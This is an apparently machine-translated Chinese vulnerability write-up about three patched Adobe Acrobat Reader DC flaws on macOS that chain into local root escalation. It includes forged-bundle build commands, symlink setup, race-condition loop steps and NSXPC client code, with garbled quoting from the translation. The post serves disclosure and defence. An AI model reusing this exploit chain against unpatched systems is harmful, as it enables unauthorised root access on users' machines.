Adobe Acrobat Reader中的安全漏洞允许以静默方式在MacOS上获得根

2020-05-15 00:05:40

今天,Adobe Acrobat Reader DC for MacOS修补了我报告的三个关键漏洞(CVE-2020-9615、CVE-2020-9614和CVE-2020-9613)。触发漏洞的唯一要求是已安装Adobe Acrobat Reader DC。MacOS上的普通用户(启用了SIP)可以在用户不知情的情况下本地利用此漏洞链将权限提升到根目录。在本博客中,我将分析漏洞的详细信息,并展示如何利用它们。

根进程拥有超强的功能,它几乎可以做任何事情,读/写所有敏感的文件/数据库,如图像/日历。然而,在现代MacOS中,沙箱外的根进程很少,大多数MacOS内置服务都在沙箱中运行。他们不再是国王,他们将自己囚禁在基于声明性沙盒配置文件规则的笼子里。

好消息是,除了MacOS内置服务之外,具有高特权服务的流行软件是新的好目标,所以Adobe Acrobat Reader DC引起了我的注意。

/Library/PrivilegedHelperTools/中的com.adobe.ARMDC.SMJobBless Helper是Adobe Acrobat Reader DC的组件之一,负责软件更新。它以根用户和无沙箱应用的身份运行,并托管名为SMJobBlessHelper(com.adobe.ARMDC.SMJobBlessHelper).的xpc服务。大多数xPC服务在执行任何实际工作之前都会检查其连接客户机,SMJobBless Helper也是如此。

SMJobBless Helper基于NSXPC,其客户端检查存在于[SMJobBless Helper Listener:shouldAcceptNewConnection:]中。检查逻辑如下图伪代码所示,获取客户端的PID,然后根据客户端的进程路径获取Bundle ID,如果Bundle ID为“com.adobe.ARMDC”,则客户端是可信的。

pid=[NSXPCConnection processIdentifier];proc_pidpath(v7,proc_path,0x1000u);bundle=[NSBundle bundleWithPath:proc_path];bd_id=[bundle bundleIdentifier];if(bd_id==";com.adobe.ARMDC";){//接受客户端的xPC连接请求}。

苹果称它是“存储在磁盘捆绑目录中的代码和资源的表示”,所以它只是一个目录结构,包含一些定义良好的子目录/文件。包ID从目录结构的Contents/Info.plist获得。

目录结构肯定是不可信的,我们可以通过创建特殊的捆绑包目录来伪造任何捆绑包ID。

如下图所示,在SMJobBless Helper启动ARMDCHammer之前的更新过程中,下载文件夹(在包的父目录中)将移动到/var/Folders/ZZ/xxxxx/T/。不幸的是,在目录移动之后,“/var/folders/zz/xxxxx_n0000000000000/T/download”的所有者是根用户,普通用户无权访问它。所以这意味着我们不能再更改它及其子文件。

如果./download/ARMDCHammer是一个符号链接,那么在移动到/var/Folders/ZZ/xxxxx/T/download之后,该符号链接是否仍然有效?

是的,符号链接仍然有效,它可以帮助我们绕过临时目录保护。我可以强制/var/Folders/ZZ/xxxxx/T/download/ARMDCHammer链接到任何地方。

validateBinary和LaunchARMHammer都使用程序路径,我们对该路径有写入权限。

因此,如果我们可以在validateBinary之后将“/tmp/test/hello_root”替换为我们的恶意文件,则LaunchARMHammer将启动我们的恶意进程。

你可能会认为比赛条件窗口太窄,无法控制,我稍后会展示这些技巧。

如前所述,NSBundle不受信任,因此我们尝试伪造一个NSBundle,其包id为“com.adobe.ARMDC”。为了节省时间,我们从“/Library/Application Support/Adobe/ARMDC/Application/Adobe Acrobat Updater.app”复制了Adobe的原始捆绑包。

cd/tmp/test/exploit echo";编译SMJobBless Helper-Developit";clang-framework Foundation SMJobBless Helper-Developit.m-o SMJobBless Helper-Developit echo";Move SMJobBless Helper-Developit to Adobe Acrobat Updater.app";mkdir";Adobe Acrobat Updater.app/Contents/MacOS";MV SMJobBless Helper-Developit(将SMJobBless Helper-Developit移动到Adobe Acrobat Updater.app/Contents/MacOS";MV)

现在,作为NSXPC客户端启动的SMJobBless Helper-Developit将通过[SMJobBless Helper Listener:shouldAcceptNewConnection:]的检查。

Symlink可以帮助我们,在SMJobBless Helper移动我们的下载目录之前,我们会在我们的下载目录中创建一个符号链接。

$cd/tmp/test$mkdir下载$ln-s/tmp/test/hello_root./download/ARMDCHammer$ls-l download/total 0 lrwxr-xr-x 1 rekken Staff 72 4 12 16:04 ARMDCHammer->;/tmp/test/hello_root。

$sudo ls-l/var/Folders/zz/xxxxx/T/下载总数0 lrwxr-xr-x 1个注册员工72 4 12 16:04 ARMDCHammer->;/tmp/test/hello_root。

(Lldb)po$RCX(";--Verify";,";-R=标识符ARMDCHammer和锚定可信和锚定苹果通用和证书叶[subject.CN]=\";开发者ID应用程序:Adobe Systems,Inc.。(JQ525L2MZD)\";";,";/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/download/ARMDCHammer";)。

我编写了一个脚本,在整个本地磁盘中搜索ARMDCHammer,最后一无所获。但它肯定存在,不是吗?

由于它不在本地驱动器上,因此应该已按需下载。我翻转了很多二进制文件,在Acrobat Update Helper.app中找到了可爱的下载URL。下载并解压缩归档文件,最后,我找到了我正在寻找的ARMDCHammer。

$CoDesign--Verbose--Verify-R=";标识符ARMDCHammer和锚定受信任和锚定苹果通用和证书叶[subject.CN]=\";开发者ID应用程序:Adobe Systems,Inc.。(JQ525L2MZD)\";";~/Downloads/ARMDCContents2/ASSET/Contents/MacOS/ARMDCHammer/Users/rekken/Downloads/ARMDCContents2/ASSET/Contents/MacOS/ARMDCHammer:在磁盘/Users/rekken/Downloads/ARMDCContents2/ASSET/Contents/MacOS/ARMDCHammer:上有效满足其指定要求/Users/rekken/Downloads/ARMDCContents2/ASSET/Contents/MacOS/ARMDCHammer:显式要求得到满足

validateBinary和LaunchARMHammer之间的时间窗口较窄。OPLock可以帮助我们在Windows中冻结时间,不幸的是,在MacOS中没有这样的选择。

步骤1:将/tmp/test/ARMDCHammer移至/tmp/test/hello_root,步骤2:休眠步骤3:将/tmp/test/hello_root移至/tmp/test/ARMDCHammer步骤4:休眠并转至步骤1。

步骤1:创建/tmp/test/orig_download目录,创建symlink/tmp/test/orig_download/ARMDCHammer指向/tmp/test/hello_root步骤2:将/tmp/test/orig_download复制到/tmp/test/download步骤3:休眠步骤4:当/tmp/test/download消失时转至步骤2。

WHILE(1){NSXPCConnection*ConnectionToService=[[NSXPCConnection Alalloc]initWithMachServiceName:@";com.adobe.ARMDC.SMJobBlessHelper";选项:0];ConnectionToService.remoteObjectInterface=[NSXPCInterface interfaceWithProtocol:@protocol(SMJobBlessHelperProtocol)];[ConnectionToService Resume];id Remote=[ConnectionToService remoteObjectProxyWithErrorHandler:^(NSError*proxyError){NSLog(@";Error:%@";,proxyError);}。

我们需要线程1的原因很明显,为什么我们需要单独的线程2和线程3?

使服务器繁忙的高频NSXPC接口调用请求会增加成功的概率。在多线程运行的情况下,争用条件需要非常短的时间。在我的测试中,大多数测试用例只需要1~3秒,而最好的用例只需要转瞬即逝的时间。

漏洞补丁最重要的部分是添加了一个名为-[SMJobBless Helper validatePath]的新函数,在validateBinary和启动之前,它会检查路径是否为符号链接。它打破了唯一必须通过的道路。

bool-[SMJobBless Helper验证路径](路径){if(fileIsSymbolicLink(Path)){Return False;}Return True}DoWorkAndLauchHammer(){Move(";./Download&34;,";/var/Folders/ZZ/xxxxx/T/Download";);if(validatePaths(";/var/folders/zz/xxxxx/T/download";)){if(validateBinary(";/var/folders/zz/xxxxx/T/download";)){launch(";/var/folders/zz/xxxxx/T/download";);}

在这篇博客中,我分析了Adobe Acrobat Reader中的三个逻辑漏洞,并展示了如何利用它们在没有沙箱限制的情况下获得根。作为几乎每个设备都需要的软件,它的安全性对MacOS至关重要。